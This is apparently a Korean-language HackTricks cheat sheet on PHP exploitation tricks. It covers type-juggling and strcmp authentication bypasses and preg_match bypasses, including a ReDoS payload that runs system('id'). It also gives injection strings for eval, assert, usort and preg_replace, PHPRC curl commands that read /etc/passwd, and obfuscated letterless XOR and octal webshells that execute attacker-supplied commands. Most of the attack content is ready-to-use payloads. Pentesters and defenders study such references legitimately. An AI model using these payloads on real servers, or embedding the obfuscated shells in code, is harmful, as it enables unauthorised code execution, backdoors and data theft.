.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
PHP 트릭
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 굿즈를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹에 가입하거나 텔레그램 그룹에 가입하거나 트위터** 🐦 @carlospolopm를 팔로우하세요.
- 해킹 트릭을 공유하려면 PR을 HackTricks 및 HackTricks Cloud 깃허브 저장소에 제출하세요.
{% embed url="https://websec.nl/" %}
쿠키 공통 위치:
이는 phpMyAdmin 쿠키에도 적용됩니다.
쿠키:
PHPSESSID
phpMyAdmin
위치:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
PHP 비교 우회
느슨한 비교/타입 강제 변환 ( == )
만약 PHP에서 ==
가 사용된다면, 비교가 예상대로 작동하지 않는 경우가 발생할 수 있습니다. 이는 "=="가 값들을 동일한 유형으로 변환한 후에만 비교하기 때문입니다. 만약 비교하는 데이터의 유형도 동일한지 확인하려면 ===
를 사용해야 합니다.
PHP 비교 표: https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
숫자로 시작하지 않는 문자열은 숫자와 동일합니다."0xAAAA" == "43690" -> True
10진 또는 16진 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다 (문자열 내의 숫자는 숫자로 해석됨)"0e3264578" == 0 --> True
"0e"로 시작하고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다."0X3264578" == 0X --> True
"0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다."0e12334" == "0" --> True
이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 이미 해싱된 문자열을 여기에서 찾을 수 있습니다: https://github.com/spaze/hashes"X" == 0 --> True
문자열 내의 모든 문자는 정수 0과 동일합니다.
더 많은 정보: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
타입 강제 변환은 in_array()
함수에도 기본적으로 영향을 미칩니다 (엄격한 비교를 수행하려면 세 번째 인수를 true로 설정해야 함):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
만약 이 함수가 인증 확인 (예: 비밀번호 확인)에 사용된다면 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (https://example.com/login.php/?username=admin&password[]=
) 그리고 이 확인을 우회할 수 있습니다:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
strcasecmp()
에서도 동일한 오류가 발생합니다
엄격한 유형 변환
===
를 사용하더라도 유형 변환에 취약한 비교가 발생할 수 있습니다. 예를 들어, 비교가 데이터를 다른 유형의 객체로 변환한 후에 비교하는 경우:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
**preg_match()
**는 사용자 입력을 유효성 검사하는 데 사용될 수 있습니다 (사용자 입력에서 블랙리스트에 있는 단어/정규식이 존재하는지 확인하고, 그렇지 않으면 코드가 실행을 계속할 수 있습니다).
새 줄 우회
그러나 정규식의 시작을 구분할 때 preg_match()
는 사용자 입력의 첫 번째 줄만 확인하므로, 사용자 입력을 여러 줄로 보낼 수 있다면, 이 검사를 우회할 수 있습니다. 예시:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
이 체크를 우회하려면 새 줄로 인코딩된 값(%0A
)을 보낼 수 있거나 JSON 데이터를 보낼 수 있다면 여러 줄에 나눠서 보내세요:
{
"cmd": "cat /etc/passwd"
}
예제를 찾을 수 있습니다: https://ramadistra.dev/fbctf-2019-rceservice
길이 오류 우회
(이 우회는 PHP 5.2.5에서 시도되었으며 PHP 7.3.15에서 작동하지 않았습니다)
preg_match()
에 유효한 매우 큰 입력을 보낼 수 있다면, 처리할 수 없게 만들어 우회할 수 있습니다. 예를 들어, JSON을 블랙리스트에 넣는 경우 다음과 같이 보낼 수 있습니다:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
ReDoS 우회
요령 출처: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 및 https://mizu.re/post/pong
간단히 말하면 PHP의 preg_*
함수에서 발생하는 문제는 PCRE 라이브러리를 기반으로 한다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되는데, 이는 많은 스택 공간을 사용한다. 재귀 호출 횟수에 제한을 둘 수 있지만 PHP에서는 이 한계가 기본적으로 100,000으로 설정되어 있어 스택에 맞지 않는다.
이 문제에 대해 더 자세히 설명된 이 Stackoverflow 쓰레드도 게시물에 링크되어 있습니다. 우리의 작업은 이제 명확해졌다:
정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 유발시키고 preg_match()
함수가 false
를 반환하도록 만들어 응용 프로그램이 우리의 입력이 악의적이지 않다고 생각하게 하고, 페이로드 끝에 {system(<verybadcommand>)}
과 같은 놀라운 것을 던져 SSTI --> RCE --> 플래그를 획들하는 것이다 :).
실제로 정규식 관점에서는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 PHP 문서에서 pcre.backtrack_limit
변수의 기본값이 1,000,000(1백만)임을 명시하고 있다.
이를 달성하기 위해 'X'*500_001
은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낳을 것이다:
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
PHP 난독화를 위한 타입 캐스팅
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
리디렉션 후 실행 (EAR)
만약 PHP가 다른 페이지로 리디렉션하지만 die
또는 exit
함수가 Location
헤더를 설정한 후에 호출되지 않는다면, PHP는 계속 실행되고 데이터를 본문에 추가합니다:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
경로 이동 및 파일 포함 취약점 악용
확인:
{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}
더 많은 속임수
- register_globals: PHP < 4.1.1.1 또는 잘못 구성된 경우 register_globals가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $_GET과 같은 변수에 값이 있는 경우에, 예를 들어 $_GET["param"]="1234"와 같이 값이 있다면 $param을 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.
- 같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장되므로 도메인 내에서 다른 경로에서 다른 쿠키가 사용되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 두 경로가 동일한 이름의 변수에 액세스하면 해당 변수의 값을 path1에서 path2로 적용할 수 있습니다. 그런 다음 path2는 path1의 변수를 유효한 값으로 취할 것입니다 (path2에서 해당하는 이름의 쿠키를 제공함으로써).
- 기계 사용자의 사용자 이름을 가지고 있는 경우. 주소를 확인하십시오: /~<USERNAME> PHP 디렉토리가 활성화되어 있는지 확인하십시오.
- php 래퍼를 사용한 LFI 및 RCE
password_hash/password_verify
이 함수들은 일반적으로 PHP에서 비밀번호로부터 해시를 생성하고 비밀번호가 해시와 일치하는지 확인하는 데 사용됩니다.
지원되는 알고리즘은 다음과 같습니다: PASSWORD_DEFAULT
및 PASSWORD_BCRYPT
($2y$
로 시작). PASSWORD_DEFAULT가 자주 PASSWORD_BCRYPT와 동일할 수 있음에 유의하십시오. 현재 PASSWORD_BCRYPT는 입력의 크기에 제한이 있으며 72바이트보다 큰 것을 이 알고리즘으로 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP 헤더 우회를 통한 PHP 오류 악용
헤더 설정 후 오류 발생
이 트위터 쓰레드에서 확인할 수 있듯이 1000개 이상의 GET 매개변수 또는 1000개 이상의 POST 매개변수 또는 20개 이상의 파일을 보내면, PHP는 응답에 헤더를 설정하지 않을 것입니다.
예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있습니다.
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
헤더를 설정하기 전에 본문을 채우기
만약 PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 출력하는 경우, 사용자는 PHP 서버가 일부 충분히 긴 콘텐츠를 출력하도록 만들어 응답에 헤더를 추가하려고 할 때 서버가 오류를 발생시킬 수 있습니다.
다음 시나리오에서 공격자는 서버가 큰 오류를 발생하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 헤더 정보를 수정하려고 시도할 때 (예: CSP 헤더가 사용자에게 전송되지 않음):
코드 실행
system("ls");
`ls`;
shell_exec("ls");
**preg_replace()**를 통한 RCE
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
"replace" 인수에서 코드를 실행하려면 적어도 하나의 일치가 필요합니다. 이 preg_replace 옵션은 PHP 5.5.0부터 사용이 중단되었습니다.
Eval()을 통한 RCE
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
Assert()를 통한 RCE
php 내부의 이 함수는 문자열로 작성된 코드를 실행하여 true 또는 false를 반환하도록 합니다 (이에 따라 실행을 변경할 수 있음). 일반적으로 사용자 변수는 문자열 중간에 삽입됩니다. 예를 들어:
assert("strpos($_GET['page']),'..') === false")
--> 이 경우 RCE를 얻으려면 다음을 수행할 수 있습니다:
?page=a','NeVeR') === false and system('ls') and strpos('a
usort()를 통한 RCE
이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다.
이 함수를 악용하려면:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
**코드의 나머지 부분을 주석 처리하는 또 다른 방법은 **//를 사용할 수 있습니다.
닫아야 하는 괄호의 수를 발견하려면:
?order=id;}//
: 오류 메시지를 받습니다 (Parse error: syntax error, unexpected ';'
). 아마도 하나 이상의 괄호가 누락된 것 같습니다.?order=id);}//
: 경고를 받습니다. 그것이 올바른 것 같습니다.?order=id));}//
: 오류 메시지를 받습니다 (Parse error: syntax error, unexpected ')' i
). 아마도 너무 많은 닫는 괄호가 있는 것 같습니다.
.httaccess를 통한 RCE
만약 .htaccess를 업로드할 수 있다면, 여러 가지를 구성하고 코드를 실행할 수 있습니다 (확장자가 .htaccess인 파일이 실행될 수 있도록 구성).
다양한 .htaccess 쉘은 여기에서 찾을 수 있습니다.
환경 변수를 통한 RCE
PHP에서 환경 변수를 수정할 수 있는 취약점을 찾았다면 (그리고 파일을 업로드할 수 있는 다른 취약점이 있지만, 더 많은 연구를 통해 이를 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 RCE를 얻을 수 있습니다.
LD_PRELOAD
: 이 환경 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있게 합니다 (이 경우에는 작동하지 않을 수도 있습니다).PHPRC
: PHP에게 구성 파일인php.ini
라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, 그럼PHPRC
를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는auto_prepend_file
항목을 추가합니다. 이 두 번째 파일에는 일반 PHP 코드가 포함되어 있으며, 이 코드는 다른 모든 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
- 쉘코드가 포함된 PHP 파일을 업로드합니다.
- PHP 전처리기가 단계 1에서 업로드한 파일을 실행하도록 지시하는
auto_prepend_file
지시문이 포함된 두 번째 파일을 업로드합니다. PHPRC
변수를 단계 2에서 업로드한 파일로 설정합니다.
- 이 체인을 실행하는 방법에 대한 자세한 정보는 원본 보고서에서 확인할 수 있습니다.
- PHPRC - 다른 옵션
- 파일을 업로드할 수 없는 경우 FreeBSD에서 "file"
/dev/fd/0
를 사용할 수 있습니다. 이 파일은 요청의 본문인 **stdin
**을 포함합니다: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- 또는 **
allow_url_include
**를 활성화하고 base64 PHP 코드가 포함된 파일을 선행시켜 RCE를 얻을 수 있습니다: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- 이 기술은 이 보고서에서 확인할 수 있습니다.
PHP 정적 분석
이 함수들을 호출하는 코드에 코드를 삽입할 수 있는지 확인하십시오 (여기에서).
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
만약 PHP 애플리케이션을 디버깅하고 있다면 /etc/php5/apache2/php.ini
에 display_errors = On
을 추가하여 오류 출력을 전역으로 활성화할 수 있으며 아파치를 재시작해야 합니다: sudo systemctl restart apache2
PHP 코드의 해독
웹 www.unphp.net 을 사용하여 PHP 코드를 해독할 수 있습니다.
PHP 래퍼 및 프로토콜
PHP 래퍼 및 프로토콜을 사용하면 시스템에서 쓰기 및 읽기 보호를 우회하고 침해할 수 있습니다. 자세한 정보는 이 페이지를 확인하십시오.
Xdebug 미인증 RCE
phpconfig()
출력에서 Xdebug가 활성화되어 있는 것을 확인하면 https://github.com/nqxcode/xdebug-exploit을 통해 RCE를 시도해야 합니다.
변수 변수
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
새로운 $_GET["a"]($_GET["b"])를 남용한 RCE
페이지에서 임의의 클래스의 새 객체를 생성할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
문자 없이 PHP 실행하기
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
8진법 사용
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
XOR는 두 개의 비트가 서로 다를 때 1을 반환하는 논리 연산자입니다.
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR 쉘 코드
이 writeup에 따르면 다음과 같이 쉽게 쉘 코드를 생성할 수 있다고 합니다:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
그래서, 숫자와 문자 없이 임의의 PHP를 실행할 수 있다면 다음과 같은 요청을 보내어 임의의 PHP를 실행할 수 있는 페이로드를 악용할 수 있습니다:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
더 자세한 설명은 https://ctf-wiki.org/web/php/php/#preg_match를 확인하십시오.
XOR 셸코드 (eval 내부)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl과 유사
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
{% embed url="https://websec.nl/" %}
영웨이 에스더블유에스 해킹을 제로부터 히어로로 배우세요 htARTE (HackTricks AWS Red Team Expert)!
다른 방법으로 HackTricks를 지원하는 방법:
- 회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹이나 텔레그램 그룹에 가입하거나 트위터** 🐦 @carlospolopm를 팔로우하세요.
- 해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.